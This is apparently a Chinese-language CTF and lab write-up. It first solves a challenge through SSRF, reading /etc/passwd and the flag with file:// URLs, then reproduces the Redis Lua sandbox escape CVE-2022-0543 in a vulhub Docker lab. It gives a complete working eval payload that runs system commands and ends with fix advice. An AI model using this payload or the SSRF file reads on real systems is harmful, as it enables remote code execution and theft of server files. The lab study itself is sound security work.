目录
一、i春秋题目
靶标介绍:
Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。
进入题目:
SSRF漏洞:
后面加上题目给定的网站试试:
可以跳转到百度页面:
读取系统文件:IP/?url=file:///etc/passwd
获取到flag /?url=file:///flag
flag{e30bd2d5-b4e8-4635-858f-5aac6604cd9c}
二、CVE-2022-0543:(redis沙盒逃逸)
漏洞介绍:
Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。
Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。
漏洞复现:
靶机
使用vulhub靶场:
使用vulhub靶场
安装完成后我们进入到对应目录:
cd vulhub/redis/CVE-2022-0543/
然后执行命令,进行靶场编译和运行
docker-compose build
docker-compose up -d
运行完docker-compose后,打开我们的redis就是我们的漏洞环境了
先安装redis-cli:
kali安装redis-cli:
apt-get update && apt-get upgrade (更新源)
apt install redis-tools
redis-cli:
redis-cli -h 192.168.184.177//有漏洞IP
产生原因:
该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package
变量,该变量又允许访问任意 Lua 功能。
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
Payload: (执行命令id可以改变)
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
id命令:
whoami pwd ls
到这我们就可以执行命令了。
正式修复方案:Lua 初始化的末尾添加package=nil 。
临时修复方案:关闭服务